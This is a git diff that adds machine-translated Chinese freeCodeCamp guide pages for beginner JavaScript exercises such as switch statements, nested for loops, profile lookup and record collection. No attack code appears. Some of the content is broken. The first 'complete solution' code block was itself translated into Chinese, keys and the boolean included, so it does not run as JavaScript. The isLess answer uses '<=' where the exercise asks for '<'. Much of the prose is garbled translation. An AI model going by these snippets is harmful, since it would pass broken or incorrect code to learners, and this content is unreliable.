+var myMusic = [ 
+  { 
+    "artist": "Billy Joel", 
+    "title": "Piano Man", 
+    "release_year": 1973, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+  // Add record here 
+ ]; 
+```
+
+这是一个解决方案： 字符串`// Add record here`我们将新专辑添加到`myMusic` 。你需要从`,`开始。你可以复制已经创建的相册： `javascript { "artist": "Billy Joel", "title": "Piano Man", "release_year": 1973, "formats": [ "CD", "8T", "LP" ], "gold": true }`
+
+粘贴后`,` ：
+
+```javascript
+  // Add record here 
+  , 
+  { 
+    "artist": "Billy Joel", 
+    "title": "Piano Man", 
+    "release_year": 1973, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+ ]; 
+```
+
+现在，您可以更改相册的值：
+
+```javascript
+  // Add record here 
+  , 
+  { 
+    "artist": "Deep Purple", 
+    "title": "Smoke on the water", 
+    "release_year": 1976, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+ ]; 
+```
+
+这是一个完整的解决方案：
+
+\`\`\`的JavaScript var myMusic = \[ { “艺术家”：“比利乔尔”， “头衔”：“钢琴侠”， “发布_年份”：1973年， “格式”：\[ “光盘”， “8T” “LP” \] “黄金”：是的 }， //在这里添加记录 { “艺术家”：“深紫色”， “标题”：“在水面上冒烟”， “发行_年份”：1976年， “格式”：\[ “光盘”， “8T” “LP” \] } \]。
+
+\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md
new file mode 100644
index 0000000000..280c4687f5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md
@@ -0,0 +1,16 @@
+---
+title: Modify Array Data With Indexes
+localeTitle: 使用索引修改数组数据
+---
+## 使用索引修改数组数据
+
+访问数组的位置，并更改它，如下所示：
+
+```javascript
+var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr[0] = 6; // Now, the array is [6, 2, 3, 4, 5] 
+ arr[4] = 10 // Now, the array is [6, 2, 3, 4, 10] 
+```
+
+这里重要的概念是数组是**可变的** 。这意味着它们可以轻松更改。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md
new file mode 100644
index 0000000000..3b69e62eb0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md
@@ -0,0 +1,96 @@
+---
+title: Multiple Identical Options in Switch Statements
+localeTitle: 交换机语句中的多个相同选项
+---
+## 交换机语句中的多个相同选项
+
+### 问题解释
+
+_如果从switch语句的大小写中省略了break语句，则会执行以下case语句，直到遇到break。如果您有多个具有相同输出的输入，则可以在switch语句中表示它们，如下所示：_
+
+```javascript
+switch(val) { 
+  case 1: 
+  case 2: 
+  case 3: 
+    result = "1, 2, or 3"; 
+    break; 
+  case 4: 
+    result = "4 alone"; 
+ } 
+```
+
+_1,2和3的情况都会产生相同的结果。_
+
+_写一个switch语句来设置以下范围的答案：_ `1-3` - “低”  
+`4-6` - “中”  
+`7-9` - “高”
+
+_注意： 您需要为范围中的每个数字都有一个case语句。_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 代码解决方案
+
+```javascript
+function sequentialSizes(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val) { 
+    case 1: 
+    case 2: 
+    case 3: 
+      return "Low"; 
+      break; 
+    case 4: 
+    case 5: 
+    case 6: 
+      return "Mid"; 
+      break; 
+    case 7: 
+    case 8: 
+    case 9: 
+      return "High"; 
+      break; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ sequentialSizes(1); 
+```
+
+## 替代代码解决方案
+
+```javascript
+function sequentialSizes(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val){ 
+    case 1: case 2: case 3: 
+      answer = "Low"; 
+      break; 
+    case 4: case 5: case 6: 
+      answer = "Mid"; 
+      break; 
+    case 7: case 8: case 9: 
+      answer = "High"; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ sequentialSizes(1); 
+```
+
+·在[repl.it上](https://repl.it/@AdrianSkar/Basic-JS-Multiple-opts-in-switch)运行代码。
+
+### 代码说明
+
+由于您已经定义了一个名为`answer`的变量并且函数返回它，因此您可以在每组case语句中修改其值以满足练习要求。
+
+### 资源
+
+*   [“切换：多标准案例的方法” - _MDN Javascript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md
new file mode 100644
index 0000000000..96fadde35a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Multiply Two Decimals with JavaScript
+localeTitle: 使用JavaScript乘以两个小数
+---
+## 使用JavaScript乘以两个小数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..0e43e2c57c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiply Two Numbers with JavaScript
+localeTitle: 使用JavaScript将两个数字相乘
+---
+# 使用JavaScript将两个数字相乘
+
+JavaScript使用`*`符号进行乘法运算。
+```
+var product = 8 * 10; //product gets the value 80 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md
new file mode 100644
index 0000000000..3036bc1334
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md
@@ -0,0 +1,13 @@
+---
+title: Nest one Array within Another Array
+localeTitle: 将一个Array嵌套在另一个Array中
+---
+## 将一个Array嵌套在另一个Array中
+
+数组是一维的;这意味着它们只存储一行数据。但是你可以通过在数组中放置数组来创建一个多维数组！像这样：
+
+```javascript
+var arr = [["Two-dimensional", 2], ["Two rows", 12]]; 
+```
+
+上面的数组有两个维度。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md
new file mode 100644
index 0000000000..29f4d94861
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md
@@ -0,0 +1,91 @@
+---
+title: Nesting For Loops
+localeTitle: 嵌套循环
+---
+## 嵌套循环
+
+**如果卡住，请记得使用Read-Search-Ask。尝试配对程序：半身像_在_剪影：并编写自己的代码：铅笔：**
+
+：checkered\_flag： **问题说明：**
+
+如果您有一个多维数组，则可以使用与先前路点相同的逻辑来遍历数组和任何子数组。
+
+这是一个例子：
+```
+var arr = [ 
+  [1,2], [3,4], [5,6] 
+ ]; 
+ for (var i=0; i < arr.length; i++) { 
+  for (var j=0; j < arr[i].length; j++) { 
+    console.log(arr[i][j]); 
+  } 
+ } 
+```
+
+这个输出在每个子元件`arr`一次一个。注意，对于内部循环，我们检查arr \[i\]的长度，因为arr \[i\]本身就是一个数组。
+
+*   修改函数`multiplyAll` ，使其乘以`product`变量乘以`arr`的子数组中的每个数字。
+*   确保第二个for循环嵌套在第一个中。
+
+**相关链接**
+
+*   [在另一个阵列中嵌套一个阵列](https://guide.freecodecamp.org/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array)
+*   [使用For循环遍历数组](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop)
+*   [访问嵌套数组](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays)
+
+：speech\_balloon：提示：1
+
+确保检查`length`而不是整个阵列。
+
+_现在尝试解决问题_
+
+：speech\_balloon：提示2
+
+在乘以产品时同时使用`i`和`j` 。
+
+_现在尝试解决问题_
+
+：speech\_balloon：提示3
+
+当您将子数组与`product`变量相乘时，请记住使用`arr[i]` 。
+
+_现在尝试解决问题_
+
+_扰流警报！_ ![](https://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+：初学者： **基本代码解决方案：**
+```
+function multiplyAll(arr) { 
+  var product = 1; 
+  // Only change code below this line 
+  for(var i=0; i < arr.length; i++){ 
+    for (var j=0; j < arr[i].length; j++){ 
+      product = product * arr[i][j]; 
+    } 
+  } 
+  // Only change code above this line 
+  return product; 
+ } 
+ 
+ // Modify values below to test your code 
+ multiplyAll([[1,2],[3,4],[5,6,7]]); 
+```
+
+：rocket： **[运行代码](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/)**
+
+**代码说明：**
+
+*   我们检查的长度`arr`在`i`的for循环和`arr[i]`在长度`j` for循环。
+*   我们将`product`变量自身乘以因为它等于1，然后将它乘以子数组。
+*   要乘的两个子阵列是`arr[i]`和`j` 。
+
+：剪贴板： **供稿说明：**
+
+*   ：警告： **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它相似但更好，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - 基本，中级和高级。 ：红绿灯：
+*   如果您添加了任何相关的主要内容，请仅添加您的用户名。 （：警告： _**不要**_删除任何现有的用户名）
+
+请参阅：point\_right： [Wiki挑战解决方案模板](http://forum.freecodecamp.com/t/algorithm-article-template/14272)以供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md
new file mode 100644
index 0000000000..69fdf7fea3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md
@@ -0,0 +1,21 @@
+---
+title: Passing Values to Functions with Arguments
+localeTitle: 将值传递给带参数的函数
+---
+## 将值传递给带参数的函数
+
+我们的任务是创建一个具有**参数**的函数。这些是确定函数输出的输入。你将参数放在`()` ，如下所示：
+
+```javascript
+function functionWithArgs(one, two) { 
+  console.log(one + two); 
+ } 
+```
+
+我们现在必须在括号内添加代码。我们的任务是添加`one`和`two` ，并将总和打印到控制台。这是基本的代码解决方案：
+
+```javascript
+functionWithArgs(7, 3); 
+ //This will console log 10. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md
new file mode 100644
index 0000000000..c24ceb4a5c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md
@@ -0,0 +1,46 @@
+---
+title: Practice comparing different values
+localeTitle: 练习比较不同的值
+---
+## 练习比较不同的值
+
+### 问题解释：
+
+· _修改函数，使其仅在值**严格**相等时返回“Equal”。_
+
+#### 提示1
+
+请记住，在上一次练习中， _与等于运算符不同的是，它尝试将两个值转换为常见类型，而严格相等运算符不执行类型转换。_ [1](#cite1)
+
+> _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 基本代码解决方案
+
+```javascript
+// Setup 
+ function compareEquality(a, b) { 
+    if (a === b) { // Change this line 
+        return  "Equal"; 
+    } 
+    return  "Not Equal"; 
+ } 
+ 
+ // Change this value to test 
+ compareEquality(10, "10"); 
+```
+
+### 代码说明
+
+功能首先评估`if`条件`(a === b)`的计算结果为`true`同时考虑类型和值。如果是，则返回大括号之间的语句（“Equal”）。如果没有，则返回它们之外的下一个`return`语句（“Not equal”）。
+
+### 来源
+
+1 。 [“基本JavaScript：与严格平等运算符的比较”，JCC _算法和数据结构认证的_ fCC课程](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator)
+
+### 资源
+
+*   [“使用Equality Operators” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md
new file mode 100644
index 0000000000..511610e938
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md
@@ -0,0 +1,96 @@
+---
+title: Profile Lookup
+localeTitle: 个人资料查询
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+我们的联系人列表中有一组代表不同人的对象。
+
+已经为您预先编写了一个`lookUpProfile()`函数，它将**firstName**和一个属性（ **prop** ）作为参数。
+
+该函数应检查**firstName**是否是实际联系人的**firstName** ，并且给定属性（ **prop** ）是该联系人的属性。
+
+如果两者都为真，则返回该属性的_值_ 。
+
+如果**firstName**与任何联系人不对应，则返回`No such contact` 。
+
+如果**prop**不对应任何有效属性，则返回`No such property` 。
+
+*   更改下面的代码`// Only change code below this line` ，最多为`// Only change code above this line` 。
+*   确保您正在编辑`lookUpProfile()`函数的内部。
+    *   该函数包括两个参数， **firstName**和**prop** 。
+*   该函数应查看给定**firstName**参数的**联系人**列表。
+    *   如果找到匹配项，则该函数应查找给定的**prop**参数。
+    *   如果找到**firstName**和关联的**prop** ，则应返回**prop**的值。
+    *   如果找到**firstName**且未找到任何关联的**prop** ，则应返回`No such property` 。
+*   如果在任何地方都找不到**firstName** ，则应返回`No such contact` 。
+
+#### 相关链接
+
+*   [挑战：使用括号表示法访问对象属性](http://www.freecodecamp.com/challenges/accessing-objects-properties-with-bracket-notation)
+*   [挑战：使用JavaScript迭代循环](http://www.freecodecamp.com/challenges/iterate-with-javascript-for-loops)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+使用`for`循环在**联系人**列表中循环。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+使用嵌套的`if`首先检查语句是否匹配**的firstName，**然后检查`if` **道具**匹配。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+将你的`return "No such contact"`留在`for`循环中作为最后的全部。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+for (var x = 0; x < contacts.length; x++){ 
+    if (contacts[x].firstName === name) { 
+        if (contacts[x].hasOwnProperty(prop)) { 
+            return contacts[x][prop]; 
+        } else { 
+            return "No such property"; 
+        } 
+    } 
+ } 
+ return "No such contact"; 
+```
+
+### 代码说明：
+
+*   `for`循环运行，从**联系人**列表中的第一个对象开始。
+*   如果传递给函数的**firstName**参数与第一个对象中的`"firstName"`键的值匹配，则`if`语句将传递。
+*   然后，我们使用`.hasOwnProperty()`方法（检查是否存在给定属性并返回布尔值），并将**prop**作为参数。如果是，则返回**prop**的值。
+    *   如果第二个`if`语句失败， `No such property`返回`No such property` 。
+*   如果第一个`if`语句失败， `for`循环将继续到**联系人**列表中的下一个对象。
+*   如果**firstName**参数与最终**联系人**对象不匹配，则`for`循环退出并且`No such contact`返回`No such contact` 。
+
+**示例运行**
+
+*   `lookUpProfile("Akira","likes");`运行。
+*   `"Akira"`与第一个对象中的`"firstName"`键匹配，因此`if`语句返回true。
+*   在第一个对象中找到`"likes"` ，因此第二个`if`语句返回true。
+*   值`"likes"`返回- `"Pizza", "Coding", "Brownie Points"` 。
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") **`Wiki Challenge Solution Template`**供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md
new file mode 100644
index 0000000000..145ac49f6b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md
@@ -0,0 +1,9 @@
+---
+title: Quoting Strings with Single Quotes
+localeTitle: 单引号引用字符串
+---
+## 单引号引用字符串
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md
new file mode 100644
index 0000000000..2c586c44ce
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md
@@ -0,0 +1,97 @@
+---
+title: Record Collection
+localeTitle: 记录收集
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+您将获得一个JSON对象，表示您的记录集合（的一小部分）。每张专辑都由唯一的ID号标识，并具有多个属性。并非所有相册都有完整的信息。
+
+编写一个带有**id** ，属性（ **prop** ）和**值的函数** 。
+
+对于**集合中**的给定**id** ：
+
+如果**value**为非空（ **value！==“”** ），则更新或设置**prop**的**值** 。
+
+如果**prop**是**“tracks”**并且**value**是非空白的，请检查数组中的给定元素是否具有“tracks”属性。如果元素具有“轨迹”属性，则将**值**推到“轨迹”数组的末尾。如果元素没有该**属性** ，请创建属性和值对。
+
+如果**值为**空，请删除该**道具** 。
+
+始终返回整个集合对象。
+
+*   更改下面的代码`// Only change code below this line` ，最多更改`// Alter values below to test your code` 。
+*   请注意，您正在编辑`updateRecords`函数的内部。
+*   对于与**集合**对象关联的给定**id**参数：
+    *   如果**value**参数不是空字符串，则更新（或设置） **prop**参数的**value**参数。
+    *   如果**prop**参数等于`"tracks"`且**值**不是空字符串，则将**值**推到**tracks**数组的末尾。
+    *   如果**value**是空字符串，则从对象中删除该**prop** 。
+*   最后，返回**集合**对象。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+使用`else if`语句检查所需的步骤。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+说明中列出的第二步应首先在您的`else if`语句中。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+要访问此对象中键的值，您将使用`collection[id][prop]` 。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function updateRecords(id, prop, value) { 
+  if (prop === "tracks" && value !== "") { 
+   if(collection[id][prop]) { 
+    collection[id][prop].push(value); 
+   } 
+   else { 
+    collection[id][prop]=[value]; 
+   } 
+  } else if (value !== "") { 
+    collection[id][prop] = value; 
+  } else { 
+    delete collection[id][prop]; 
+  } 
+ 
+  return collection; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/C2AZ/0)
+
+### 代码说明：
+
+*   首先检查**prop**是否等于**轨道** AND如果**值**不是空字符串。如果两个测试都通过，则将**值**推入**轨道**数组。
+*   如果第一次检查未通过，则接下来只检查**值**是否为空字符串。如果该测试通过，则将新键（ **prop** ）和值（ **值** ）添加到对象，或者如果**prop**已存在则更新现有键。
+*   如果这两个检查都失败（意味着**值**必须是空字符串），则从对象中删除密钥（ **prop** ）。
+
+**示例运行**
+
+*   `updateRecords(5439, "artist", "ABBA");`运行。
+*   **prop**等于“artist”，而不是“tracks”，所以`else if`语句的第一部分失败了。
+*   **value**不是空字符串，因此else if语句的第二部分传递。
+*   `artist: "ABBA"`被添加到`5439` `id` 。
+
+### 资源：
+
+*   [fCC的挑战：使用括号表示法访问对象属性](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/)
+*   [fCC的挑战：向JavaScript对象添加新属性](http://www.freecodecamp.com/challenges/add-new-properties-to-a-javascript-object)
+*   [fCC的挑战：从JavaScript对象中删除属性](http://www.freecodecamp.com/challenges/delete-properties-from-a-javascript-object)
+*   [fCC的挑战：访问嵌套对象](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/)
+*   [“Array.prototype.push（）” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [“删除运算符” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md
new file mode 100644
index 0000000000..b7e08a39aa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md
@@ -0,0 +1,9 @@
+---
+title: Replacing If Else Chains with Switch
+localeTitle: 如果用交换机替换其他链条
+---
+## 如果用交换机替换其他链条
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md
new file mode 100644
index 0000000000..2b9fde3708
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md
@@ -0,0 +1,14 @@
+---
+title: Return a Value from a Function with Return
+localeTitle: 从带返回的函数返回值
+---
+## 从带返回的函数返回值
+
+使用`return` ，可以使函数输出数据。这是基本的代码解决方案：
+
+```javascript
+function timesFive(num) { 
+  return num * 5; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md
new file mode 100644
index 0000000000..02f943a60d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Return Early Pattern for Functions
+localeTitle: 返回函数的早期模式
+---
+## 返回函数的早期模式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md
new file mode 100644
index 0000000000..f08c27e32a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md
@@ -0,0 +1,53 @@
+---
+title: Returning Boolean Values from Functions
+localeTitle: 从函数返回布尔值
+---
+## 从函数返回布尔值
+
+我们可以使用比较运算符和最小代码在return语句中直接执行，而不是使用if / else块来比较变量。
+
+### 问题解释
+
+_修复函数`isLess`以删除`if...else`语句。_
+
+```js
+// Fix this code 
+  if (a < b) { 
+    return true; 
+  } else { 
+    return false; 
+  } 
+```
+
+#### 提示1
+
+与[前面的练习一样，](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch)您将要更改函数返回正确值的方式，这意味着您不必重用或修改该代码，而是替换它。
+
+> _现在尝试解决问题_
+
+#### 提示2
+
+为了返回`true`或`false` ，你不需要两个语句也不能使用`if`人。您只需要正确的[比较运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) 。
+
+> _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 代码解决方案
+
+```javascript
+function isLess(a, b) { 
+  // Fix this code 
+  return a <= b; 
+ } 
+ // Change these values to test 
+ isLess(10, 15); 
+```
+
+在[repl.it上](https://repl.it/@AdrianSkar/Basic-Js-Returning-boolean-from-function)运行代码。
+
+### 资源
+
+*   [“小于或等于运算符（<=）” - _MDN Javascript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_or_equal_operator_(%3C))
\ No newline at end of file
